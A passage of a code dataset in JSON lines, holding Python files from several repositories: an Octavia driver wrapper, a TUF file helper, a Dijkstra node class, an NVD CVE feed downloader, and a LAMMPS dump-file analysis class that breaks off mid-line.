metadata_dict):\n NoopManager.validate_config_data(metadata_dict)\n\n def get_create_distributor_subflow(self):\n return self.driver.get_create_distributor_subflow()\n\n def get_delete_distributor_subflow(self):\n return self.driver.get_delete_distributor_subflow()\n\n def get_add_vip_subflow(self):\n return self.driver.get_add_vip_subflow()\n\n def get_remove_vip_subflow(self):\n return self.driver.get_remove_vip_subflow()\n\n def get_register_amphorae_subflow(self):\n return self.driver.get_register_amphorae_subflow()\n\n def get_drain_amphorae_subflow(self):\n self.driver.get_drain_amphorae_subflow()\n\n def get_unregister_amphorae_subflow(self):\n self.driver.get_unregister_amphorae_subflow()\n", "source": "BoTranVan/octavia", "license": "Apache-2.0"} {"text": "import os\nimport shutil\n\nfrom .models.common import Filepath\n\n\nclass WriterMixIn:\n \"\"\"A mixin to separate details such as manipulating files.\"\"\"\n\n def mv_file(self, src: Filepath, dst: Filepath) -> None:\n dst_dir = os.path.dirname(dst)\n if not os.path.isdir(dst_dir):\n os.makedirs(dst_dir, mode=0o700, exist_ok=True)\n shutil.move(src, dst)\n\n def rm_file(self, path: Filepath) -> None:\n os.remove(path)\n", "source": "trishankatdatadog/tuf-on-a-plane", "license": "Apache-2.0"} {"text": "#Clase Nodo\r\nclass Nodo:\r\n def __init__(self, id):\r\n self.id = id\r\n self.grado=0\r\n\r\n #Parametros algoritmo de dijkstra\r\n self.padre=None\r\n self.visitado=False\r\n self.distancia=float('inf')\r\n\r\n def __str__(self):\r\n return str(self.id)\r\n def __eq__(self, otroNodo):\r\n return self.id == otroNodo.id\r\n def __lt__(self, otroNodo):\r\n return self.distancia < otroNodo.distancia\r\n\r\n\r\n#******************************************************************************\r\n", "source": "stormKx18/cic_algoritmos_proyecto4_Christian_Jaime", "license": "MIT"} {"text": "import requests\nfrom bs4 import BeautifulSoup\nimport codecs\nimport os\nimport glob\nimport shutil\nimport zipfile\nimport re\nimport logging\nimport configparser\nfrom json2sqlite3 import json2sql\nfrom utils import time_delta,path\n\ndef filename(updated):\n \"\"\"\n \u5c06\u6587\u4ef6\u540d\u7684\u66f4\u65b0\u65f6\u95f4\u683c\u5f0f\u5316\u4e3a\n\n Args:\n updated:'6/15/2020 6:03:20 AM -04:00'\n\n Returns:\n updated:'20200615'\n \"\"\"\n time=updated.split(' ')[0]\n rr=re.search(r'(\\d+)\\/(\\d+)\\/(\\d+)',time)\n y=rr.group(3)\n m=rr.group(1)\n if int(m)<10: \n m='0'+m\n t=rr.group(2)\n if int(t)<10: \n t='0'+t\n updated=y+m+t\n return updated\n\ndef CVE_modified(html):\n \"\"\"\n \u83b7\u53d6CVE-Modified\u6700\u8fd1\u66f4\u65b0\u65f6\u95f4\u7684\u6587\u4ef6\u540d\u548c\u4e0b\u8f7d\u94fe\u63a5\n \"\"\"\n soup=BeautifulSoup(html,'html.parser')\n i=0\n for desc in soup.find_all('tr',class_='xml-feed-desc-row'):\n gen_desc=desc.stripped_strings\n l_desc=list(gen_desc)\n if len(l_desc)==3:\n if i==1:\n break\n\n feed=l_desc[0]\n name=feed.split('-')[1].lower()\n updated=l_desc[1]\n updated=filename(updated)\n lname='nvdcve-1.1-{name}-{time}.json.zip'.format(name=name,time=updated)\n link='https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-{name}.json.zip'.format(name=name)\n i=i+1\n return lname,link\n\ndef json_download(fname,url,retry=3,ret=False):\n \"\"\"\n \u4e0b\u8f7dcve json\u683c\u5f0f\u7684zip\n \"\"\"\n while retry>0:\n try:\n print(\"[DOWNLOAD]:%s to %s %s\" %(fname,url,retry))\n r=requests.get(url,stream=True) # stream=True\n with open(path('../data/json',fname),'wb') as f:\n shutil.copyfileobj(r.raw,f) \n retry=retry-1\n with zipfile.ZipFile(path('../data/json',fname)) as zf:\n print(\"[UNZIP]:%s\" %fname)\n retry=0\n zf.extractall(path=path('../data/json'))\n ret=True\n except Exception as e:\n ret=False\n print(\"[DOWNLOAD ERROR]:%s error:%s\" %(url,repr(e)))\n\n return ret\n\n\ndef CVE_monitor():\n \"\"\"\n \u5b58\u91cf\u79bb\u7ebf\u89e3\u6790\uff0c\u589e\u91cf\u5728\u7ebf\u66f4\u65b0\n \"\"\"\n json_list=[]\n # \u53d6\u914d\u7f6e\u6587\u4ef6\u4e2d\u63a7\u5236\u5b58\u91cf\u89e3\u6790\u7684\u53c2\u6570,\u5f97\u5230\u5f85\u89e3\u6790\u5165\u5e93\u6587\u4ef6\u5217\u8868\n conf=configparser.ConfigParser()\n conf.read('../conf/info.conf')\n stock=conf.get('CVE_Feeds','stock_control')\n if stock=='True':\n zips=glob.glob('../data/json/nvdcve-1.1-*.json.zip')\n for z in zips:\n with zipfile.ZipFile(z) as zf:\n print(\"[UNZIP]:%s\" %z)\n zf.extractall(path=path('../data/json'))\n\n jsons_stock=glob.glob('../data/json/nvdcve-1.1-*.json')\n jsons_stock=[i for i in jsons_stock if 'modified' or 'recent' not in i]\n json_list.extend(jsons_stock)\n\n conf.set('CVE_Feeds','stock_control',str(False))\n with open('../conf/info.conf', 'w') as configfile:\n conf.write(configfile)\n else:\n print('[!] WARNING:stock is False\uff0cdont parse stock data\uff01')\n\n # \u4e0b\u8f7d\u6700\u65b0\u7684modified\u6570\u636e\n cve_data_feeds=path('../data/nvd',time_delta()+'nvd_data_feeds.html')\n if not os.path.exists(cve_data_feeds):\n r=requests.get(url)\n with codecs.open(cve_data_feeds,'wb') as f:\n f.write(r.content)\n\n if os.path.exists(cve_data_feeds):\n with codecs.open(cve_data_feeds,'rb') as f:\n modified_zip,modified_link=CVE_modified(f)\n \n json_download(modified_zip,modified_link)\n json_list.extend([path('../data/json','nvdcve-1.1-modified.json')])\n\n # \u7edf\u4e00\u89e3\u6790\u5b58\u91cf\u548c\u589e\u91cfCVE\u6570\u636e \n for j in json_list:\n print(j)\n ret=json2sql(j,dir_name='../data/nvd.db')\n\n return ret\n\nif __name__==\"__main__\":\n print(CVE_monitor())\n pass\n ", "source": "devsecops-SRC/CVE-Flow", "license": "MIT"} {"text": "\"\"\"\nThis is a set of useful features for manipulating basic lammps output files\n\n###############################################################################\n###############################################################################\nauthor: Aaron Schwan\nemail: schwanaaron@gmail.com\ngithub: https://github.com/AaronSchwan\n###############################################################################\n###############################################################################\n\n\"\"\"\n\n\n#default imports\nimport sys\nimport os\nimport time\nimport warnings\nimport types\nimport copy\n\n#non-default imports\nimport pandas as pd\nimport numpy as np\n\n################################################################################\n#Dealing with lammps dump files#################################################\n################################################################################\n\nclass dumpFile:\n\n \"\"\"\n This is a class optimized for operations on dump files exported from lammps\n programs\n\n obj = dumpFile(timestep:int,numberofatoms:int,boxbounds:pd.DataFrame,atoms:pd.DataFrame,serial=None)\n\n Alternative class construction methods(file_path = path to file):\n dumpFile.lammps_dump(cls, file_path) #reads in a standard lammps dump\n dumpFile.pandas_to_dumpfile(cls, file_path) #reads in lammps data from pandas dataframe to new class\n\n valid property calls:\n obj.timestep = returns timestep in the file[int]\n obj.numberofatoms = numbers of atoms in the dump[int]\n obj.atoms = atomic data[pd.DataFrame]\n obj.boxbounds = returns the bounds with type,low,high in a pandas datframe[pd.DataFrame]\n obj.volume = returns cubic shaped volume\n obj.xy_area = returns square shaped area of xy plane\n obj.xz_area = returns square shaped area of xz plane\n obj.yz_area = returns square shaped area of yz plane\n obj.xlo = low x value in obj.atoms\n obj.ylo = low y value in obj.atoms\n obj.zlo = low z value in obj.atoms\n obj.xhi = high x value in obj.atoms\n obj.yhi = high y value in obj.atoms\n obj.zhi = high z value in obj.atoms\n\n\n\n method calls:\n obj.translate() = method to translate atom locations of the instance this\n will return a new instance of the class in order to\n preserve data integrety for the class instance\n\n dunder calls:\n \"obj1 == obj2\" = returns if the atomic positional distances are identical\n uses the class variable checking_tolerance for amount\n of precission in check\n\n \"merge_obj = obj1+obj2\" = alternative way to merge data of the obj.atoms\n \"\"\"\n\n #precision based variables\n class_tolerance = 12 #the accuarcy of the classes operational functions\n checking_tolerance = 3 #how many decimals the classes attributes will be checked to\n\n ##atomic identification\n id = \"id\"\n type = \"type\"\n ##cartesian\n x_axis_cart = \"x\"\n y_axis_cart = \"y\"\n z_axis_cart = \"z\"\n\n\n def __init__(self,sim_timestep:int,sim_numberofatoms:int,sim_boxbounds:pd.DataFrame,atoms:pd.DataFrame):\n #required definitions\n self.sim_timestep = sim_timestep\n self.sim_numberofatoms = sim_numberofatoms\n self.sim_boxbounds = sim_boxbounds\n self.atoms = atoms\n\n\n #property defined functions#################################################\n\n #static properties\n @property\n def boundingtypes(self):\n return self.sim_boxbounds.loc[\"type\"]\n\n @property\n def sim_xlo(self):\n return self.sim_boxbounds.loc[\"low\",\"x\"]\n\n @property\n def sim_xhi(self):\n return self.sim_boxbounds.loc[\"high\",\"x\"]\n\n @property\n def sim_ylo(self):\n return self.sim_boxbounds.loc[\"low\",\"y\"]\n @property\n def sim_yhi(self):\n return self.sim_boxbounds.loc[\"high\",\"y\"]\n\n @property\n def sim_zlo(self):\n return self.sim_boxbounds.loc[\"low\",\"z\"]\n\n @property\n def sim_zhi(self):\n return self.sim_boxbounds.loc[\"high\",\"z\"]\n\n @property\n def sim_volume(self):\n \"\"\"\n gets the volume of the overall simulation cell as a box\n \"\"\"\n x_range = self.sim_xhi - self.sim_xlo\n y_range = self.sim_yhi - self.sim_ylo\n z_range = self.sim_zhi - self.sim_zlo\n\n return x_range*y_range*z_range\n\n @property\n def sim_xy_area(self):\n \"\"\"\n gets the area of the xy plane of the simulation cell as a box\n \"\"\"\n x_range = self.sim_xhi - self.sim_xlo\n y_range = self.sim_yhi - self.sim_ylo\n\n return x_range*y_range\n\n @property\n def sim_xz_area(self):\n \"\"\"\n gets the area of the xy plane of the simulation cell as a box\n \"\"\"\n x_range = self.sim_xhi - self.sim_xlo\n z_range = self.sim_zhi - self.sim_zlo\n\n return x_range*z_range\n\n @property\n def sim_yz_area(self):\n \"\"\"\n gets the area of the xy plane of the simulation cell as a box\n \"\"\"\n z_range = self.sim_zhi - sim_zlo\n y_range = self.sim_yhi - sim_ylo\n\n return z_range*y_range\n\n #changing properties\n @property\n def atomic_numberofatoms(self):\n return len(self.atoms[self.x_axis_cart])\n @property\n def atomic_xlo(self):\n #get axis\n x = self.x_axis_cart\n return min(self.atoms[x])\n\n @property\n def atomic_xhi(self):\n #get axis\n x = self.x_axis_cart\n return max(self.atoms[x])\n\n @property\n def atomic_ylo(self):\n #get axis\n y = self.y_axis_cart\n return min(self.atoms[y])\n\n @property\n def atomic_yhi(self):\n #get axis\n y = self.y_axis_cart\n return max(self.atoms[y])\n\n @property\n def atomic_zlo(self):\n #get axis\n z = self.z_axis_cart\n return min(self.atoms[z])\n\n @property\n def atomic_zhi(self):\n #get axis\n z = self.z_axis_cart\n return max(self.atoms[z])\n\n @property\n def atomic_volume(self):\n \"\"\"\n gets the volume of the overall simulation cell as a box\n \"\"\"\n x_range = self.atomic_xhi - self.atomic_xlo\n y_range = self.atomic_yhi - self.atomic_ylo\n z_range = self.atomic_yhi - self.atomic_ylo\n\n return x_range*y_range*z_range\n\n @property\n def atomic_xy_area(self):\n \"\"\"\n gets the area of the xy plane of the simulation cell as a box\n \"\"\"\n x_range = self.atomic_xhi - self.atomic_xlo\n y_range = self.atomic_yhi - self.atomic_ylo\n\n return x_range*y_range\n\n @property\n def atomic_xz_area(self):\n \"\"\"\n gets the area of the xy plane of the simulation cell as a box\n \"\"\"\n x_range = self.atomic_xhi - self.atomic_xlo\n z_range = self.atomic_zhi - self.atomic_zlo\n\n return x_range*z_range\n\n @property\n def atomic_yz_area(self):\n \"\"\"\n gets the area of the xy plane of the simulation cell as a box\n \"\"\"\n z_range = self.atomic_zhi - self.atomic_zlo\n y_range = self.atomic_yhi - self.atomic_ylo\n\n return z_range*y_range\n\n @property\n def atomic_boxbounds(self):\n return pd.DataFrame(data = {\"type\":self.sim_boxbounds.loc[\"type\"],\"low\":[self.atomic_xlo,self.atomic_ylo,self.atomic_zlo],\"high\":[self.atomic_xhi,self.atomic_yhi,self.atomic_zhi]},index = [\"x\",\"y\",\"z\"]).T\n\n #Alternative CLass Constructive Methods#####################################\n @classmethod\n def lammps_dump(cls,file_path:str):\n \"\"\"\n uses path of raw lammps file **Must be a singular timestep\n\n will create the class of dumpFile once processed\n \"\"\"\n raw_data = pd.read_csv(file_path,header = None)#getting data\n indexes = raw_data.index[raw_data[0].str.contains(\"ITEM: TIMESTEP\")].tolist()#allowing check for singular\n\n if len(indexes) == 1:\n titles = raw_data.iloc[8].str.split(expand = True).iloc[0][2:].tolist()#getting titles of atomic data\n atoms = pd.DataFrame(raw_data.iloc[9:,0].str.split(' ',len(titles)-1).tolist(), columns = titles)#getting atomic data\n atoms = atoms.apply(pd.to_numeric)\n\n #getting bounds and making custom format to values\n boxboundtype = raw_data.iloc[4,0].replace(\"ITEM: BOX BOUNDS \",\"\").split(\" \")#grabbing it prior to clean up later\n\n box = pd.DataFrame(raw_data.iloc[5:8:,0].str.split(' ',len(titles)-1).tolist(), columns = [\"low\",\"high\"],index= [\"x\",\"y\",\"z\"])\n box = box.apply(pd.to_numeric).T\n\n types = pd.DataFrame(data = boxboundtype[0:3],index = [\"x\",\"y\",\"z\"],columns = [\"type\"]).T\n boxbounds = box.append(types)\n\n #returning class\n return cls(int(raw_data.iloc[1,0]),int(raw_data.iloc[3,0]),boxbounds,atoms)\n\n elif len(indexes) > 1:\n raise Exception(\"FILE IMPORT ERROR: You may not import a multiple timestep file using this method please use the multiple_timestep_singular_file_dumps function\")\n\n else:\n raise Exception(\"FILE IMPORT ERROR: check file formatting \")\n\n @classmethod\n def pandas_to_dumpfile(cls,raw_data:pd.DataFrame):\n \"\"\"\n takes in a lammps dump file in the form of a singular column singular time step\n\n **Must include all data from first row \"ITEM: TIMESTEP\" to last row in one column\n \"\"\"\n\n indexes = raw_data.index[raw_data[0].str.contains(\"ITEM: TIMESTEP\")].tolist()#allowing check for singular\n\n if len(indexes) == 1:\n titles = raw_data.iloc[8].str.split(expand = True).iloc[0][2:].tolist()#getting titles of atomic data\n atoms = pd.DataFrame(raw_data.iloc[9:,0].str.split(' ',len(titles)-1).tolist(), columns = titles)#getting atomic data\n atoms = atoms.apply(pd.to_numeric)\n\n #getting bounds and making custom format to values\n boxboundtype = raw_data.iloc[4,0].replace(\"ITEM: BOX BOUNDS \",\"\").split(\" \")#grabbing it prior to clean up later\n box = pd.DataFrame(raw_data.iloc[5:8:,0].str.split(' ',len(titles)-1).tolist(), columns = [\"low\",\"high\"],index= [\"x\",\"y\",\"z\"])\n box = box.apply(pd.to_numeric).T\n types = pd.DataFrame(data = boxboundtype[0:3],index = [\"x\",\"y\",\"z\"],columns = [\"type\"]).T\n boxbounds = box.append(types)\n\n #returning class\n return cls(int(raw_data.iloc[1,0]),int(raw_data.iloc[3,0]),boxbounds,atoms)\n\n elif len(indexes) > 1:\n raise Exception(\"FILE IMPORT ERROR: You may not import a multiple timestep file using this method please use the multiple_timestep_singular_file_dumps function\")\n\n else:\n raise Exception(\"FILE IMPORT ERROR: check file formatting \")\n\n #Class methods##############################################################\n @classmethod\n def change_checking_tolerance(cls,value):\n cls.checking_tolerance = value\n\n @classmethod\n def change_class_tolerance(cls,value):\n cls.class_tolerance = value\n\n\n #dubble under functions#####################################################\n def __repr__(self):\n #returning the atoms by default when calling the function alone\n return \"{TimeStep:\"+str(self.sim_timestep)+\"\\nBoundings\"+str(self.sim_boxbounds)+\"\\nColumns of atomic data\"+str(self.atoms.columns)+\"}\"\n\n def __eq__(self,other):\n \"\"\"\n This will use the atomic properties becasue this is more important to\n the meshing of the classes\n\n This checks if the base conditions are equal such as the number of atoms,\n the boundary after transform to the first boundary, then if it passes\n both of those conditions it will check the atoms positions within a given\n tolerance(class variable name = class_tolerance)\n\n This will auto transform both dumpFile class instances to the positive\n quadrent system in order to avoid issues involving one transformed and\n one non transformed\n\n The comparison will be done using the leftmost class instances\n active coordinate system\n\n checks in order: number of atoms -> atomic positions\n \"\"\"\n\n if self.atomic_numberofatoms == other.atomic_numberofatoms:\n #subtraction method because pd.equals will return false unless more operations are done\n df_self = self.atomic_translate(1).atoms[[self.id,self.x_axis_cart,self.y_axis_cart,self.z_axis_cart]]\n df_other = other.atomic_translate(1).atoms[[self.id,self.x_axis_cart,self.y_axis_cart,self.z_axis_cart]]\n df = (df_self-df_other).round(dumpFile.checking_tolerance)\n if df[self.id].eq(0).all() and df[self.x_axis_cart].eq(0).all()and df[self.y_axis_cart].eq(0).all() and df[self.z_axis_cart].eq(0).all():\n return True\n else:\n #handeling periodic boundaries\n\n if df[self.id].eq(0).all() == True:\n\n axes_pass = 0;\n\n if df[self.x_axis_cart].eq(0).all() == True:\n axes_pass += 1\n else:\n if self.boundingtypes[\"x\"] == \"pp\":\n x_vals = df[df[self.x_axis_cart] != 0].abs()#getting values of errored lists\n #checking if magnitude is equal to the simulation axis\n vals = (x_vals-self.sim_xhi-self.sim_xlo).round(dumpFile.checking_tolerance)\n #adding to axes if it is true\n if vals.eq(0).all():\n axes_pass += 1\n else:\n return False\n else:\n return False\n\n if df[self.y_axis_cart].eq(0).all() == True:\n axes_pass += 1\n else:\n if self.boundingtypes[\"y\"] == \"pp\":\n y_vals = df[df[self.y_axis_cart] != 0].abs()#getting values of errored lists\n #checking if magnitude is equal to the simulation axis\n vals = (y_vals-self.sim_yhi-self.sim_ylo).round(dumpFile.checking_tolerance)\n #adding to axes if it is true\n if vals.eq(0).all():\n axes_pass += 1\n else:\n return False\n else:\n return False\n\n if df[self.z_axis_cart].eq(0).all() == True:\n axes_pass += 1\n else:\n if self.boundingtypes[\"z\"] == \"pp\":\n z_vals = df[df[self.z_axis_cart] != 0].abs()#getting values of errored lists\n #checking if magnitude is equal to the simulation axis\n vals = (z_vals-self.sim_zhi-self.sim_zlo).round(dumpFile.checking_tolerance)\n #adding to axes if it is true\n if vals.eq(0).all():\n axes_pass += 1\n else:\n return False\n else:\n return False\n\n\n if axes_pass == 3:\n return True\n\n else:\n return False\n\n\n else:\n return False\n\n else:\n return False\n\n\n def __add__(self,other):\n \"\"\"\n This is an alternative merge method first the class checks the compatability\n of the merge\n\n This acts be leaving the columns in the leftmost class instance untouched\n and appends the unique data to the leftmost class instance returning a new\n instance\n \"\"\"\n if self == other:\n unique_columns = np.setdiff1d(other.atoms.columns.tolist(),self.atoms.columns.tolist())\n\n atomic_data = self.atoms.join(other.atoms[unique_columns])#merged atoms\n return dumpFile(self.sim_timestep,self.sim_numberofatoms,self.sim_boxbounds,atomic_data)\n\n else:\n raise Exception(\"You may not add two classes where the atomic conditions/placements are not equal\")\n\n #Class functional methods###################################################\n def atomic_translate(self,translation_operation):\n \"\"\"\n This function transforms the atoms of the class to different quadrents\n labeled below.\n\n proper call:\n translated = class_instance.translate(translation_operation)\n\n The predefined quadrent operations will make sure one boundry is a 0 0 0\n\n Standards Cartesian:\n quadrent = x y z\n 0 = centered at 0 0 0\n 1 = + + +\n 2 = + + -\n 3 = + - +\n 4 = + - -\n 5 = - + +\n 6 = - + -\n 7 = - - +\n 8 = - - -\n\n Custom Transform:\n The value is added to the atoms direction from the list in order [x_shift, y_shift, z_shift]\n\n \"\"\"\n\n\n #defining new object\n dump_class_object = copy.deepcopy(self)\n\n\n id = self.id\n x = self.x_axis_cart\n y = self.y_axis_cart\n z = self.z_axis_cart\n #getting correction direction for minimums\n if min(dump_class_object.atoms[x]) > 0:\n dir_x = -1\n else:\n dir_x = 1\n\n if min(dump_class_object.atoms[y]) > 0:\n dir_y = -1\n else:\n dir_y = 1\n\n if min(dump_class_object.atoms[z]) > 0:\n dir_z = -1\n else:\n dir_z = 1\n\n #standard translation_operationtransforms\n if translation_operation == 1:\n\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - min(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - min(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - min(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 2:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - min(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - min(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] + dir_z*min(dump_class_object.atoms[z])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - max(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 3:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - min(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] + dir_x*min(dump_class_object.atoms[y])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - max(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - min(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 4:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - min(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] + dir_x*min(dump_class_object.atoms[y])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - max(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] + dir_x*min(dump_class_object.atoms[z])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - max(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 5:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] + dir_x*min(dump_class_object.atoms[x])\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - max(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - min(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - min(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 6:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] + dir_x*min(dump_class_object.atoms[x])\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - max(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - min(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] + dir_x*min(dump_class_object.atoms[z])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - max(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 7:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] + dir_x*min(dump_class_object.atoms[x])\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - max(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] + dir_x*min(dump_class_object.atoms[y])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - max(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - min(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 8:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] + dir_x*min(dump_class_object.atoms[x])\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - max(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] + dir_x*min(dump_class_object.atoms[y])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - max(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] + dir_x*min(dump_class_object.atoms[z])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - max(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 0:\n\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - min(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - min(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - min(dump_class_object.atoms[z])\n\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - (max(dump_class_object.atoms[x])/2)\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - (max(dump_class_object.atoms[y])/2)\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - (max(dump_class_object.atoms[z])/2)\n\n return dump_class_object\n\n elif type(translation_operation) == list:\n if all(isinstance(i, (float, int)) for i in translation_operation) and len(translation_operation) == 3:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] + translation_operation[0]\n dump_class_object.atoms[y] = dump_class_object.atoms[y] + translation_operation[1]\n dump_class_object.atoms[z] = dump_class_object.atoms[z] + translation_operation[2]\n\n return dump_class_object\n\n\n else:\n raise Exception(\"Not a valid input to translation function custom list\")\n\n else:\n raise Exception(\"Not a valid input to translation function\")\n\n\n def sim_translate(self,translation_operation):\n \"\"\"\n This function transforms the atoms of the class to different quadrents\n labeled below.\n\n proper call:\n translated = class_instance.translate(translation_operation)\n\n The predefined quadrent operations will make sure one boundry is a 0 0 0\n\n Standards Cartesian:\n quadrent = x y z\n 0 = centered at 0 0 0\n 1 = + + +\n 2 = + + -\n 3 = + - +\n 4 = + - -\n 5 = - + +\n 6 = - + -\n 7 = - - +\n 8 = - - -\n\n Custom Transform:\n The value is added to the atoms direction from the list in order [x_shift, y_shift, z_shift]\n\n \"\"\"\n\n\n #defining new object\n dump_class_object = copy.deepcopy(self)\n\n\n id = self.id\n x = self.x_axis_cart\n y = self.y_axis_cart\n z = self.z_axis_cart\n #getting correction direction for minimums\n if min(dump_class_object.sim_boxbounds[\"x\"][\"low\"]) > 0:\n dir_x = -1\n else:\n dir_x = 1\n\n if min(dump_class_object.sim_boxbounds[\"y\"][\"low\"]) > 0:\n dir_y = -1\n else:\n dir_y = 1\n\n if min(dump_class_object.sim_boxbounds[\"z\"][\"low\"]) > 0:\n dir_z = -1\n else:\n dir_z = 1\n\n #standard translation_operationtransforms\n if translation_operation == 1:\n\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - min(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - min(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - min(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 2:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - min(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - min(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] + dir_z*min(dump_class_object.atoms[z])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - max(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 3:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - min(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] + dir_x*min(dump_class_object.atoms[y])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - max(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - min(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 4:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - min(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] + dir_x*min(dump_class_object.atoms[y])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - max(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] + dir_x*min(dump_class_object.atoms[z])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - max(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 5:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] + dir_x*min(dump_class_object.atoms[x])\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - max(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - min(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - min(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 6:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] + dir_x*min(dump_class_object.atoms[x])\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - max(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - min(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] + dir_x*min(dump_class_object.atoms[z])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - max(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 7:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] + dir_x*min(dump_class_object.atoms[x])\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - max(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] + dir_x*min(dump_class_object.atoms[y])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - max(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - min(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 8:\n dump_class_object.atoms[x] = dump_class_object.atoms[x] + dir_x*min(dump_class_object.atoms[x])\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - max(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] + dir_x*min(dump_class_object.atoms[y])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - max(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] + dir_x*min(dump_class_object.atoms[z])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - max(dump_class_object.atoms[z])\n\n return dump_class_object\n\n elif translation_operation == 0:\n\n dump_class_object.atoms[x] = dump_class_object.atoms[x] - min(dump_class_object.atoms[x])\n dump_class_object.atoms[y] = dump_class_object.atoms[y] - min(dump_class_object.atoms[y])\n dump_class_object.atoms[z] = dump_class_object.atoms[z] - min(dump_class_object.atoms[z])\n\n dump_class_object.atoms[x] = 